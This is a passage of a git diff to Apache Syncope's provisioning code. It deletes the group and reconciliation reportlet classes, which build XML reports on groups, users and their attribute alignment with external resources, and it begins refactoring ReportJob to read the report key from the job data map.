0; i < report.getReportlets().size() && !interrupt; i++) { - Optional reportlet = ImplementationManager.buildReportlet(report.getReportlets().get(i)); - if (reportlet.isPresent()) { - try { - setStatus("Invoking reportlet " + report.getReportlets().get(i).getKey()); - reportlet.get().extract(handler, reportDataBinder.buildRefDesc(report)); - } catch (Throwable t) { - LOG.error("While executing reportlet {} for report {}", - report.getReportlets().get(i).getKey(), reportKey, t); - - execution.setStatus(ReportExecStatus.FAILURE); - - Throwable effective = t instanceof ReportException - ? t.getCause() - : t; - reportExecutionMessage. - append(ExceptionUtils2.getFullStackTrace(effective)). - append("\n==================\n"); - } - } - } - if (interrupt) { - LOG.debug("Report job {} interrupted", reportKey); - interrupted = true; - } - - // report footer - setStatus("Generating report footer"); - - handler.endElement("", "", ReportXMLConst.ELEMENT_REPORT); - handler.endDocument(); - - if (!ReportExecStatus.FAILURE.name().equals(execution.getStatus())) { - execution.setStatus(ReportExecStatus.SUCCESS); - } - } catch (Exception e) { - execution.setStatus(ReportExecStatus.FAILURE); - reportExecutionMessage.append(ExceptionUtils2.getFullStackTrace(e)); - - throw new JobExecutionException(e, true); - } finally { - setStatus(null); - - try { - zos.closeEntry(); - zos.close(); - baos.close(); - } catch (IOException e) { - LOG.error("While closing StreamResult's backend", e); - } - - execution.setExecResult(baos.toByteArray()); - execution.setMessage(reportExecutionMessage.toString()); - execution.setEnd(OffsetDateTime.now()); - reportExecDAO.save(execution); - } - } -} diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/GroupReportlet.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/GroupReportlet.java deleted file mode 100644 index b9b28a2fe5d..00000000000 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/GroupReportlet.java +++ /dev/null @@ -1,347 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.core.provisioning.java.job.report; - -import java.util.Collection; -import java.util.List; -import java.util.Map; -import org.apache.commons.lang3.StringUtils; -import org.apache.syncope.common.lib.Attr; -import org.apache.syncope.common.lib.EntityTOUtils; -import org.apache.syncope.common.lib.SyncopeConstants; -import org.apache.syncope.common.lib.report.GroupReportletConf; -import org.apache.syncope.common.lib.report.GroupReportletConf.Feature; -import org.apache.syncope.common.lib.report.ReportletConf; -import org.apache.syncope.common.lib.to.AnyTO; -import org.apache.syncope.common.lib.to.GroupTO; -import org.apache.syncope.common.lib.types.AnyTypeKind; -import org.apache.syncope.core.persistence.api.dao.AnyDAO; -import org.apache.syncope.core.persistence.api.dao.AnySearchDAO; -import org.apache.syncope.core.persistence.api.dao.GroupDAO; -import org.apache.syncope.core.persistence.api.dao.RealmDAO; -import org.apache.syncope.core.persistence.api.dao.ReportletConfClass; -import org.apache.syncope.core.persistence.api.entity.group.Group; -import org.apache.syncope.core.persistence.api.entity.user.UMembership; -import org.apache.syncope.core.persistence.api.search.SearchCondConverter; -import org.apache.syncope.core.persistence.api.search.SearchCondVisitor; -import org.apache.syncope.core.provisioning.api.data.GroupDataBinder; -import org.springframework.beans.factory.annotation.Autowired; -import org.xml.sax.ContentHandler; -import org.xml.sax.SAXException; -import org.xml.sax.helpers.AttributesImpl; - -@ReportletConfClass(GroupReportletConf.class) -public class GroupReportlet extends AbstractReportlet { - - @Autowired - protected RealmDAO realmDAO; - - @Autowired - protected GroupDAO groupDAO; - - @Autowired - protected AnySearchDAO searchDAO; - - @Autowired - protected GroupDataBinder groupDataBinder; - - @Autowired - protected SearchCondVisitor searchCondVisitor; - - protected GroupReportletConf conf; - - protected void doExtractResources(final ContentHandler handler, final AnyTO anyTO) - throws SAXException { - - if (anyTO.getResources().isEmpty()) { - LOG.debug("No resources found for {}[{}]", anyTO.getClass().getSimpleName(), anyTO.getKey()); - } else { - AttributesImpl atts = new AttributesImpl(); - handler.startElement("", "", "resources", null); - - for (String resourceName : anyTO.getResources()) { - atts.clear(); - - atts.addAttribute("", "", ReportXMLConst.ATTR_NAME, ReportXMLConst.XSD_STRING, resourceName); - handler.startElement("", "", "resource", atts); - handler.endElement("", "", "resource"); - } - - handler.endElement("", "", "resources"); - } - } - - protected void doExtractAttributes( - final ContentHandler handler, - final AnyTO anyTO, - final Collection attrs, - final Collection derAttrs, - final Collection virAttrs) - throws SAXException { - - AttributesImpl atts = new AttributesImpl(); - if (!attrs.isEmpty()) { - Map attrMap = EntityTOUtils.buildAttrMap(anyTO.getPlainAttrs()); - - handler.startElement("", "", "attributes", null); - for (String attrName : attrs) { - atts.clear(); - - atts.addAttribute("", "", ReportXMLConst.ATTR_NAME, ReportXMLConst.XSD_STRING, attrName); - handler.startElement("", "", "attribute", atts); - - if (attrMap.containsKey(attrName)) { - for (String value : attrMap.get(attrName).getValues()) { - handler.startElement("", "", "value", null); - handler.characters(value.toCharArray(), 0, value.length()); - handler.endElement("", "", "value"); - } - } else { - LOG.debug("{} not found for {}[{}]", attrName, - anyTO.getClass().getSimpleName(), anyTO.getKey()); - } - - handler.endElement("", "", "attribute"); - } - handler.endElement("", "", "attributes"); - } - - if (!derAttrs.isEmpty()) { - Map derAttrMap = EntityTOUtils.buildAttrMap(anyTO.getDerAttrs()); - - handler.startElement("", "", "derivedAttributes", null); - for (String attrName : derAttrs) { - atts.clear(); - - atts.addAttribute("", "", ReportXMLConst.ATTR_NAME, ReportXMLConst.XSD_STRING, attrName); - handler.startElement("", "", "derivedAttribute", atts); - - if (derAttrMap.containsKey(attrName)) { - for (String value : derAttrMap.get(attrName).getValues()) { - handler.startElement("", "", "value", null); - handler.characters(value.toCharArray(), 0, value.length()); - handler.endElement("", "", "value"); - } - } else { - LOG.debug("{} not found for {}[{}]", attrName, - anyTO.getClass().getSimpleName(), anyTO.getKey()); - } - - handler.endElement("", "", "derivedAttribute"); - } - handler.endElement("", "", "derivedAttributes"); - } - - if (!virAttrs.isEmpty()) { - Map virAttrMap = EntityTOUtils.buildAttrMap(anyTO.getVirAttrs()); - - handler.startElement("", "", "virtualAttributes", null); - for (String attrName : virAttrs) { - atts.clear(); - - atts.addAttribute("", "", ReportXMLConst.ATTR_NAME, ReportXMLConst.XSD_STRING, attrName); - handler.startElement("", "", "virtualAttribute", atts); - - if (virAttrMap.containsKey(attrName)) { - for (String value : virAttrMap.get(attrName).getValues()) { - handler.startElement("", "", "value", null); - handler.characters(value.toCharArray(), 0, value.length()); - handler.endElement("", "", "value"); - } - } else { - LOG.debug("{} not found for {}[{}]", attrName, - anyTO.getClass().getSimpleName(), anyTO.getKey()); - } - - handler.endElement("", "", "virtualAttribute"); - } - handler.endElement("", "", "virtualAttributes"); - } - } - - protected void doExtract(final ContentHandler handler, final List groups) throws SAXException { - AttributesImpl atts = new AttributesImpl(); - for (Group group : groups) { - atts.clear(); - - for (Feature feature : conf.getFeatures()) { - String type = null; - String value = null; - switch (feature) { - case key: - type = ReportXMLConst.XSD_STRING; - value = group.getKey(); - break; - - case name: - type = ReportXMLConst.XSD_STRING; - value = String.valueOf(group.getName()); - break; - - case groupOwner: - type = ReportXMLConst.XSD_STRING; - value = group.getGroupOwner().getKey(); - break; - - case userOwner: - type = ReportXMLConst.XSD_STRING; - value = group.getUserOwner().getKey(); - break; - - default: - } - - if (type != null && value != null) { - atts.addAttribute("", "", feature.name(), type, value); - } - } - - handler.startElement("", "", "group", atts); - - // Using GroupTO for attribute values, since the conversion logic of - // values to String is already encapsulated there - GroupTO groupTO = groupDataBinder.getGroupTO(group, true); - - doExtractAttributes(handler, groupTO, conf.getPlainAttrs(), conf.getDerAttrs(), conf.getVirAttrs()); - - // to get resources associated to a group - if (conf.getFeatures().contains(Feature.resources)) { - doExtractResources(handler, groupTO); - } - //to get users asscoiated to a group is preferred GroupDAO to GroupTO - if (conf.getFeatures().contains(Feature.users)) { - handler.startElement("", "", "users", null); - - for (UMembership memb : groupDAO.findUMemberships(group)) { - atts.clear(); - - atts.addAttribute("", "", "key", ReportXMLConst.XSD_STRING, - memb.getLeftEnd().getKey()); - atts.addAttribute("", "", "username", ReportXMLConst.XSD_STRING, - String.valueOf(memb.getLeftEnd().getUsername())); - - handler.startElement("", "", "user", atts); - handler.endElement("", "", "user"); - } - - handler.endElement("", "", "users"); - } - - handler.endElement("", "", "group"); - } - } - - protected void doExtractConf(final ContentHandler handler) throws SAXException { - if (conf == null) { - LOG.debug("Report configuration is not present"); - } - - AttributesImpl atts = new AttributesImpl(); - handler.startElement("", "", "configurations", null); - handler.startElement("", "", "groupAttributes", atts); - - if (conf != null) { - for (Feature feature : conf.getFeatures()) { - atts.clear(); - handler.startElement("", "", "feature", atts); - handler.characters(feature.name().toCharArray(), 0, feature.name().length()); - handler.endElement("", "", "feature"); - } - - for (String attr : conf.getPlainAttrs()) { - atts.clear(); - handler.startElement("", "", "attribute", atts); - handler.characters(attr.toCharArray(), 0, attr.length()); - handler.endElement("", "", "attribute"); - } - - for (String derAttr : conf.getDerAttrs()) { - atts.clear(); - handler.startElement("", "", "derAttribute", atts); - handler.characters(derAttr.toCharArray(), 0, derAttr.length()); - handler.endElement("", "", "derAttribute"); - } - - for (String virAttr : conf.getVirAttrs()) { - atts.clear(); - handler.startElement("", "", "virAttribute", atts); - handler.characters(virAttr.toCharArray(), 0, virAttr.length()); - handler.endElement("", "", "virAttribute"); - } - } - - handler.endElement("", "", "groupAttributes"); - handler.endElement("", "", "configurations"); - } - - protected int count() { - return StringUtils.isBlank(conf.getMatchingCond()) - ? groupDAO.count() - : searchDAO.count( - realmDAO.getRoot(), - true, - SyncopeConstants.FULL_ADMIN_REALMS, - SearchCondConverter.convert(searchCondVisitor, conf.getMatchingCond()), - AnyTypeKind.GROUP); - } - - @Override - protected void doExtract( - final ReportletConf conf, - final ContentHandler handler, - final String refDesc) - throws SAXException { - - if (conf instanceof GroupReportletConf) { - this.conf = GroupReportletConf.class.cast(conf); - } else { - throw new ReportException(new IllegalArgumentException("Invalid configuration provided")); - } - - doExtractConf(handler); - - int total = count(); - int pages = (total / AnyDAO.DEFAULT_PAGE_SIZE) + 1; - - setStatus(refDesc, "Processing " + total + " groups in " + pages + " pages"); - - for (int page = 1; page <= pages; page++) { - setStatus(refDesc, "Processing " + total + " groups: page " + page + " of " + pages); - - List groups; - if (StringUtils.isBlank(this.conf.getMatchingCond())) { - groups = groupDAO.findAll(page, AnyDAO.DEFAULT_PAGE_SIZE); - } else { - groups = searchDAO.search( - realmDAO.getRoot(), - true, - SyncopeConstants.FULL_ADMIN_REALMS, - SearchCondConverter.convert(searchCondVisitor, this.conf.getMatchingCond()), - page, - AnyDAO.DEFAULT_PAGE_SIZE, - List.of(), - AnyTypeKind.USER); - } - - doExtract(handler, groups); - - setStatus(refDesc, "Processed " + total + " groups: page " + page + " of " + pages); - } - } -} diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/ReconciliationReportlet.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/ReconciliationReportlet.java deleted file mode 100644 index a0473245f17..00000000000 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/ReconciliationReportlet.java +++ /dev/null @@ -1,574 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.core.provisioning.java.job.report; - -import java.util.Base64; -import java.util.HashMap; -import java.util.HashSet; -import java.util.List; -import java.util.Map; -import java.util.Objects; -import java.util.Optional; -import java.util.Set; -import org.apache.commons.lang3.StringUtils; -import org.apache.commons.lang3.tuple.Pair; -import org.apache.syncope.common.lib.SyncopeConstants; -import org.apache.syncope.common.lib.report.ReconciliationReportletConf; -import org.apache.syncope.common.lib.report.ReconciliationReportletConf.Feature; -import org.apache.syncope.common.lib.report.ReportletConf; -import org.apache.syncope.common.lib.to.Item; -import org.apache.syncope.common.lib.to.Provision; -import org.apache.syncope.common.lib.types.AnyTypeKind; -import org.apache.syncope.core.persistence.api.dao.AnyDAO; -import org.apache.syncope.core.persistence.api.dao.AnySearchDAO; -import org.apache.syncope.core.persistence.api.dao.AnyTypeDAO; -import org.apache.syncope.core.persistence.api.dao.GroupDAO; -import org.apache.syncope.core.persistence.api.dao.RealmDAO; -import org.apache.syncope.core.persistence.api.dao.ReportletConfClass; -import org.apache.syncope.core.persistence.api.dao.UserDAO; -import org.apache.syncope.core.persistence.api.dao.search.AnyTypeCond; -import org.apache.syncope.core.persistence.api.dao.search.SearchCond; -import org.apache.syncope.core.persistence.api.entity.Any; -import org.apache.syncope.core.persistence.api.entity.AnyType; -import org.apache.syncope.core.persistence.api.entity.AnyUtils; -import org.apache.syncope.core.persistence.api.entity.AnyUtilsFactory; -import org.apache.syncope.core.persistence.api.entity.group.Group; -import org.apache.syncope.core.persistence.api.entity.user.User; -import org.apache.syncope.core.persistence.api.search.SearchCondConverter; -import org.apache.syncope.core.persistence.api.search.SearchCondVisitor; -import org.apache.syncope.core.provisioning.api.Connector; -import org.apache.syncope.core.provisioning.api.ConnectorManager; -import org.apache.syncope.core.provisioning.api.MappingManager; -import org.apache.syncope.core.provisioning.api.utils.FormatUtils; -import org.apache.syncope.core.provisioning.java.utils.MappingUtils; -import org.identityconnectors.framework.common.objects.Attribute; -import org.identityconnectors.framework.common.objects.AttributeBuilder; -import org.identityconnectors.framework.common.objects.ConnectorObject; -import org.identityconnectors.framework.common.objects.ObjectClass; -import org.identityconnectors.framework.common.objects.OperationalAttributes; -import org.identityconnectors.framework.common.objects.Uid; -import org.springframework.beans.factory.annotation.Autowired; -import org.xml.sax.ContentHandler; -import org.xml.sax.SAXException; -import org.xml.sax.helpers.AttributesImpl; - -/** - * Reportlet for extracting information for the current reconciliation status, e.g. the coherence between Syncope - * information and mapped entities on external resources. - */ -@ReportletConfClass(ReconciliationReportletConf.class) -public class ReconciliationReportlet extends AbstractReportlet { - - private static final int PAGE_SIZE = 10; - - @Autowired - private RealmDAO realmDAO; - - @Autowired - private UserDAO userDAO; - - @Autowired - private GroupDAO groupDAO; - - @Autowired - private AnyTypeDAO anyTypeDAO; - - @Autowired - private AnySearchDAO searchDAO; - - @Autowired - private MappingManager mappingManager; - - @Autowired - private ConnectorManager connectorManager; - - @Autowired - private AnyUtilsFactory anyUtilsFactory; - - @Autowired - private SearchCondVisitor searchCondVisitor; - - private ReconciliationReportletConf conf; - - private static String getAnyElementName(final AnyTypeKind anyTypeKind) { - String elementName; - - switch (anyTypeKind) { - case USER: - elementName = "user"; - break; - - case GROUP: - elementName = "group"; - break; - - case ANY_OBJECT: - default: - elementName = "anyObject"; - } - - return elementName; - } - - private void doExtract( - final ContentHandler handler, - final Any any, - final Set missing, - final Set misaligned) - throws SAXException { - - AttributesImpl atts = new AttributesImpl(); - - for (Feature feature : conf.getFeatures()) { - String type = null; - String value = null; - switch (feature) { - case key: - type = ReportXMLConst.XSD_STRING; - value = any.getKey(); - break; - - case username: - if (any instanceof User) { - type = ReportXMLConst.XSD_STRING; - value = User.class.cast(any).getUsername(); - } - break; - - case groupName: - if (any instanceof Group) { - type = ReportXMLConst.XSD_STRING; - value = Group.class.cast(any).getName(); - } - break; - - case status: - type = ReportXMLConst.XSD_STRING; - value = any.getStatus(); - break; - - case creationDate: - type = ReportXMLConst.XSD_DATETIME; - value = any.getCreationDate() == null - ? StringUtils.EMPTY - : FormatUtils.format(any.getCreationDate()); - break; - - case lastLoginDate: - if (any instanceof User) { - type = ReportXMLConst.XSD_DATETIME; - value = User.class.cast(any).getLastLoginDate() == null - ? StringUtils.EMPTY - : FormatUtils.format(User.class.cast(any).getLastLoginDate()); - } - break; - - case changePwdDate: - if (any instanceof User) { - type = ReportXMLConst.XSD_DATETIME; - value = User.class.cast(any).getChangePwdDate() == null - ? StringUtils.EMPTY - : FormatUtils.format(User.class.cast(any).getChangePwdDate()); - } - break; - - case passwordHistorySize: - if (any instanceof User) { - type = ReportXMLConst.XSD_INT; - value = String.valueOf(User.class.cast(any).getPasswordHistory().size()); - } - break; - - case failedLoginCount: - if (any instanceof User) { - type = ReportXMLConst.XSD_INT; - value = String.valueOf(User.class.cast(any).getFailedLogins()); - } - break; - - default: - } - - if (type != null && value != null) { - atts.addAttribute("", "", feature.name(), type, value); - } - } - - handler.startElement("", "", getAnyElementName(any.getType().getKind()), atts); - - for (Missing item : missing) { - atts.clear(); - atts.addAttribute("", "", "resource", ReportXMLConst.XSD_STRING, item.getResource()); - atts.addAttribute("", "", "connObjectKeyValue", ReportXMLConst.XSD_STRING, item.getConnObjectKeyValue()); - - handler.startElement("", "", "missing", atts); - handler.endElement("", "", "missing"); - } - for (Misaligned item : misaligned) { - atts.clear(); - atts.addAttribute("", "", "resource", ReportXMLConst.XSD_STRING, item.getResource()); - atts.addAttribute("", "", "connObjectKeyValue", ReportXMLConst.XSD_STRING, item.getConnObjectKeyValue()); - atts.addAttribute("", "", ReportXMLConst.ATTR_NAME, ReportXMLConst.XSD_STRING, item.getName()); - - handler.startElement("", "", "misaligned", atts); - - handler.startElement("", "", "onSyncope", null); - if (item.getOnSyncope() != null) { - for (Object value : item.getOnSyncope()) { - char[] asChars = value.toString().toCharArray(); - - handler.startElement("", "", "value", null); - handler.characters(asChars, 0, asChars.length); - handler.endElement("", "", "value"); - } - } - handler.endElement("", "", "onSyncope"); - - handler.startElement("", "", "onResource", null); - if (item.getOnResource() != null) { - for (Object value : item.getOnResource()) { - char[] asChars = value.toString().toCharArray(); - - handler.startElement("", "", "value", null); - handler.characters(asChars, 0, asChars.length); - handler.endElement("", "", "value"); - } - } - handler.endElement("", "", "onResource"); - - handler.endElement("", "", "misaligned"); - } - - handler.endElement("", "", getAnyElementName(any.getType().getKind())); - } - - private static Set getValues(final Attribute attr) { - Set values; - if (attr.getValue() == null || attr.getValue().isEmpty()) { - values = Set.of(); - } else if (attr.getValue().get(0) instanceof byte[]) { - values = new HashSet<>(attr.getValue().size()); - attr.getValue().forEach(single -> values.add(Base64.getEncoder().encode((byte[]) single))); - } else { - values = new HashSet<>(attr.getValue()); - } - - return values; - } - - private void doExtract(final ContentHandler handler, final List> anys) - throws SAXException, ReportException { - - final Set missing = new HashSet<>(); - final Set misaligned = new HashSet<>(); - - for (Any any : anys) { - missing.clear(); - misaligned.clear(); - - AnyUtils anyUtils = anyUtilsFactory.getInstance(any); - anyUtils.getAllResources(any).forEach(resource -> { - Provision provision = resource.getProvisionByAnyType(any.getType().getKey()).orElse(null); - Optional connObjectKeyItem = MappingUtils.getConnObjectKeyItem(provision); - String connObjectKeyValue = connObjectKeyItem.isPresent() - ? mappingManager.getConnObjectKeyValue(any, resource, provision).get() - : StringUtils.EMPTY; - if (provision != null && connObjectKeyItem.isPresent() && StringUtils.isNotBlank(connObjectKeyValue)) { - // 1. read from the underlying connector - Connector connector = connectorManager.getConnector(resource); - ConnectorObject connectorObject = connector.getObject( - new ObjectClass(provision.getObjectClass()), - AttributeBuilder.build(connObjectKeyItem.get().getExtAttrName(), connObjectKeyValue), - provision.isIgnoreCaseMatch(), - MappingUtils.buildOperationOptions(provision.getMapping().getItems().stream())); - - if (connectorObject == null) { - // 2. not found on resource? - LOG.error("Object {} with class {} not found on resource {}", - connObjectKeyValue, provision.getObjectClass(), resource); - - missing.add(new Missing(resource.getKey(), connObjectKeyValue)); - } else { - // 3. found but misaligned? - Pair> preparedAttrs = - mappingManager.prepareAttrsFromAny(any, null, false, null, resource, provision); - preparedAttrs.getRight().add(AttributeBuilder.build( - Uid.NAME, preparedAttrs.getLeft())); - preparedAttrs.getRight().add(AttributeBuilder.build( - connObjectKeyItem.get().getExtAttrName(), preparedAttrs.getLeft())); - - final Map> syncopeAttrs = new HashMap<>(); - preparedAttrs.getRight().forEach(attr -> syncopeAttrs.put(attr.getName(), getValues(attr))); - - final Map> resourceAttrs = new HashMap<>(); - connectorObject.getAttributes().stream(). - filter(attr -> (!OperationalAttributes.PASSWORD_NAME.equals(attr.getName()) - && !OperationalAttributes.ENABLE_NAME.equals(attr.getName()))). - forEachOrdered(attr -> resourceAttrs.put(attr.getName(), getValues(attr))); - - syncopeAttrs.keySet().stream(). - filter(syncopeAttr -> !resourceAttrs.containsKey(syncopeAttr)). - forEach(name -> misaligned.add(new Misaligned( - resource.getKey(), - connObjectKeyValue, - name, - syncopeAttrs.get(name), - Set.of()))); - - resourceAttrs.forEach((key, values) -> { - if (syncopeAttrs.containsKey(key)) { - if (!Objects.equals(syncopeAttrs.get(key), values)) { - misaligned.add(new Misaligned( - resource.getKey(), - connObjectKeyValue, - key, - syncopeAttrs.get(key), - values)); - } - } else { - misaligned.add(new Misaligned( - resource.getKey(), - connObjectKeyValue, - key, - Set.of(), - values)); - } - }); - } - } - }); - - if (!missing.isEmpty() || !misaligned.isEmpty()) { - doExtract(handler, any, missing, misaligned); - } - } - } - - @Override - protected void doExtract( - final ReportletConf conf, - final ContentHandler handler, - final String refDesc) - throws SAXException { - - if (conf instanceof ReconciliationReportletConf) { - this.conf = ReconciliationReportletConf.class.cast(conf); - } else { - throw new ReportException(new IllegalArgumentException("Invalid configuration provided")); - } - - AttributesImpl atts = new AttributesImpl(); - - if (StringUtils.isBlank(this.conf.getUserMatchingCond())) { - int total = userDAO.count(); - int pages = (total / AnyDAO.DEFAULT_PAGE_SIZE) + 1; - - setStatus(refDesc, "Processing " + total + " users in " + pages + " pages"); - - atts.addAttribute("", "", "total", ReportXMLConst.XSD_INT, String.valueOf(total)); - handler.startElement("", "", getAnyElementName(AnyTypeKind.USER) + 's', atts); - - for (int page = 1; page <= pages; page++) { - setStatus(refDesc, "Processing " + total + " users: page " + page + " of " + pages); - - doExtract(handler, userDAO.findAll(page, AnyDAO.DEFAULT_PAGE_SIZE)); - } - } else { - SearchCond cond = SearchCondConverter.convert(searchCondVisitor, this.conf.getUserMatchingCond()); - - int total = searchDAO.count( - realmDAO.getRoot(), - true, - SyncopeConstants.FULL_ADMIN_REALMS, - cond, - AnyTypeKind.USER); - int pages = (total / AnyDAO.DEFAULT_PAGE_SIZE) + 1; - - setStatus(refDesc, "Processing " + total + " users in " + pages + " pages"); - - atts.addAttribute("", "", "total", ReportXMLConst.XSD_INT, String.valueOf(total)); - handler.startElement("", "", getAnyElementName(AnyTypeKind.USER) + 's', atts); - - for (int page = 1; page <= pages; page++) { - setStatus(refDesc, "Processing " + total + " users: page " + page + " of " + pages); - - doExtract(handler, searchDAO.search( - realmDAO.getRoot(), - true, - SyncopeConstants.FULL_ADMIN_REALMS, - cond, - page, - PAGE_SIZE, - List.of(), - AnyTypeKind.USER)); - } - } - handler.endElement("", "", getAnyElementName(AnyTypeKind.USER) + 's'); - - atts.clear(); - if (StringUtils.isBlank(this.conf.getGroupMatchingCond())) { - int total = groupDAO.count(); - int pages = (total / AnyDAO.DEFAULT_PAGE_SIZE) + 1; - - setStatus(refDesc, "Processing " + total + " groups in " + pages + " pages"); - - atts.addAttribute("", "", "total", ReportXMLConst.XSD_INT, String.valueOf(total)); - handler.startElement("", "", getAnyElementName(AnyTypeKind.GROUP) + 's', atts); - - for (int page = 1; page <= pages; page++) { - setStatus(refDesc, "Processing " + total + " groups: page " + page + " of " + pages); - - doExtract(handler, groupDAO.findAll(page, AnyDAO.DEFAULT_PAGE_SIZE)); - } - } else { - SearchCond cond = SearchCondConverter.convert(searchCondVisitor, this.conf.getUserMatchingCond()); - - int total = searchDAO.count( - realmDAO.getRoot(), - true, - SyncopeConstants.FULL_ADMIN_REALMS, - cond, - AnyTypeKind.GROUP); - int pages = (total / AnyDAO.DEFAULT_PAGE_SIZE) + 1; - - setStatus(refDesc, "Processing " + total + " groups in " + pages + " pages"); - - atts.addAttribute("", "", "total", ReportXMLConst.XSD_INT, String.valueOf(total)); - handler.startElement("", "", getAnyElementName(AnyTypeKind.GROUP) + 's', atts); - - for (int page = 1; page <= pages; page++) { - setStatus(refDesc, "Processing " + total + " groups: page " + page + " of " + pages); - - doExtract(handler, searchDAO.search( - realmDAO.getRoot(), - true, - SyncopeConstants.FULL_ADMIN_REALMS, - cond, - page, - PAGE_SIZE, - List.of(), - AnyTypeKind.GROUP)); - } - } - handler.endElement("", "", getAnyElementName(AnyTypeKind.GROUP) + 's'); - - for (AnyType anyType : anyTypeDAO.findAll()) { - if (!anyType.equals(anyTypeDAO.findUser()) && !anyType.equals(anyTypeDAO.findGroup())) { - AnyTypeCond anyTypeCond = new AnyTypeCond(); - anyTypeCond.setAnyTypeKey(anyType.getKey()); - SearchCond cond = StringUtils.isBlank(this.conf.getAnyObjectMatchingCond()) - ? SearchCond.getLeaf(anyTypeCond) - : SearchCond.getAnd( - SearchCond.getLeaf(anyTypeCond), - SearchCondConverter.convert(searchCondVisitor, this.conf.getAnyObjectMatchingCond())); - - int total = searchDAO.count( - realmDAO.getRoot(), - true, - SyncopeConstants.FULL_ADMIN_REALMS, - cond, - AnyTypeKind.ANY_OBJECT); - int pages = (total / AnyDAO.DEFAULT_PAGE_SIZE) + 1; - - setStatus( - refDesc, - "Processing " + total + " any objects " + anyType.getKey() + " in " + pages + " pages"); - - atts.clear(); - atts.addAttribute("", "", "type", ReportXMLConst.XSD_STRING, anyType.getKey()); - atts.addAttribute("", "", "total", ReportXMLConst.XSD_INT, String.valueOf(total)); - handler.startElement("", "", getAnyElementName(AnyTypeKind.ANY_OBJECT) + 's', atts); - - for (int page = 1; page <= pages; page++) { - setStatus(refDesc, "Processing " + total + " any objects " + anyType.getKey() - + ": page " + page + " of " + pages); - - doExtract(handler, searchDAO.search( - realmDAO.getRoot(), - true, - SyncopeConstants.FULL_ADMIN_REALMS, - cond, - page, - PAGE_SIZE, - List.of(), - AnyTypeKind.ANY_OBJECT)); - } - - handler.endElement("", "", getAnyElementName(AnyTypeKind.ANY_OBJECT) + 's'); - } - } - } - - private static class Missing { - - private final String resource; - - private final String connObjectKeyValue; - - Missing(final String resource, final String connObjectKeyValue) { - this.resource = resource; - this.connObjectKeyValue = connObjectKeyValue; - } - - public String getResource() { - return resource; - } - - public String getConnObjectKeyValue() { - return connObjectKeyValue; - } - - } - - private static class Misaligned extends Missing { - - private final String name; - - private final Set onSyncope; - - private final Set onResource; - - Misaligned( - final String resource, - final String connObjectKeyValue, - final String name, - final Set onSyncope, - final Set onResource) { - - super(resource, connObjectKeyValue); - - this.name = name; - this.onSyncope = onSyncope; - this.onResource = onResource; - } - - public String getName() { - return name; - } - - public Set getOnSyncope() { - return onSyncope; - } - - public Set getOnResource() { - return onResource; - } - - } -} diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/ReportJob.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/ReportJob.java index eb7bf91b978..d0a524e05e4 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/ReportJob.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/ReportJob.java @@ -18,13 +18,18 @@ */ package org.apache.syncope.core.provisioning.java.job.report; -import java.util.Optional; +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; +import org.apache.syncope.core.persistence.api.DomainHolder; +import org.apache.syncope.core.persistence.api.dao.ImplementationDAO; +import org.apache.syncope.core.persistence.api.entity.Implementation; import org.apache.syncope.core.provisioning.api.job.JobDelegate; import org.apache.syncope.core.provisioning.api.job.JobManager; import org.apache.syncope.core.provisioning.api.job.report.ReportJobDelegate; import org.apache.syncope.core.provisioning.java.job.AbstractInterruptableJob; +import org.apache.syncope.core.spring.ApplicationContextProvider; +import org.apache.syncope.core.spring.implementation.ImplementationManager; import org.apache.syncope.core.spring.security.AuthContextUtils; -import org.apache.syncope.core.spring.security.SecurityProperties; import org.quartz.JobExecutionContext; import org.quartz.JobExecutionException; import org.slf4j.Logger; @@ -38,26 +43,23 @@ public class ReportJob extends AbstractInterruptableJob { private static final Logger LOG = LoggerFactory.getLogger(ReportJob.class); - @Autowired - private SecurityProperties securityProperties; - /** - * Key, set by the caller, for identifying the report to be executed. + * Report execution status. */ - private String reportKey; + public enum Status { - @Autowired - private ReportJobDelegate delegate; + SUCCESS, + FAILURE - /** - * Report id setter. - * - * @param reportKey to be set - */ - public void setReportKey(final String reportKey) { - this.reportKey = reportKey; } + private final Map perContextReportJobDelegates = new ConcurrentHashMap<>(); + + @Autowired + private DomainHolder domainHolder; + + private ReportJobDelegate delegate; + @Override public JobDelegate getDelegate() { return delegate; @@ -65,21 +67,41 @@ public JobDelegate getDelegate() { @Override public void execute(final JobExecutionContext context) throws JobExecutionException { + String reportKey = context.getMergedJobDataMap().getString(JobManager.REPORT_KEY); try { - String domainKey = context.getMergedJobDataMap().getString(JobManager.DOMAIN_KEY); - String executor = Optional.ofNullable(context.getMergedJobDataMap().getString(JobManager.EXECUTOR_KEY)). - orElse(securityProperties.getAdminUser()); - - 